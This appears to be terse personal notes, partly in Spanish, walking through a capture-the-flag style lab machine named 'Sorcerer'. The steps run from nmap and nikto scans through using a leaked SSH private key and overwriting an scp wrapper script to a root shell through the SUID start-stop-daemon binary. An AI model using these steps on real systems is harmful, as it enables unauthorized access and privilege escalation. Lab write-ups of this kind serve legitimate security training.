Sorcerer

nmap -A -p- -oA sorcerer 192.168.77.100 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA sorcerer 192.168.77.100

nmap -sU -O -p- -oA sorcerer-udp 192.168.77.100

nikto -h 192.168.77.100:80

Vamos a http://192.168.77.100

whatweb Vamos a http://192.168.77.100:8080

Vamos a http://192.168.77.100:7742/zipfiles

unzip max.zip

chmod 600 /home/max/.ssh/id_rsa

vim /home/max/scp_wrapper.sh

Modificamos scp_wrapper.sh

chmod 600 home/max/.ssh/id_rsa

mv home/max/.ssh/id_rsa home/cu3rv0x/.ssh

scp home/max/scp_wrapper.sh max@192.168.77.100:/home/max/scp_wrapper.sh

ssh max@192.168.77.100

/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh — -p